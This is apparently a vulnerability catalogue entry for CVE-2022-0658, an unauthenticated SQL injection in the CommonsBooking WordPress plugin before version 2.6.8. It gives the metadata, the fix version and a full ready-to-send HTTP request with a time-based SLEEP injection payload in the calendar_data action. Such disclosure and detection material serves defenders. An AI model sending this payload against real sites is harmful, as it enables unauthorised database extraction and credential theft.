| Title | CommonsBooking < 2.6.8 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection via unsanitized AJAX parameters to extract database contents, potentially exposing sensitive WordPress data including user credentials. |
| Remediation | Fixed in version 2.6.8 |
| CVSS Score | 9.8 |
| EPSS Score | 0.47173 |
| CVE ID | CVE-2022-0658 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 wordpress wp-plugin wp commonsbooking sqli wpscan wielebenwir vuln |
The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0658.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0658.pcap
N/AN/A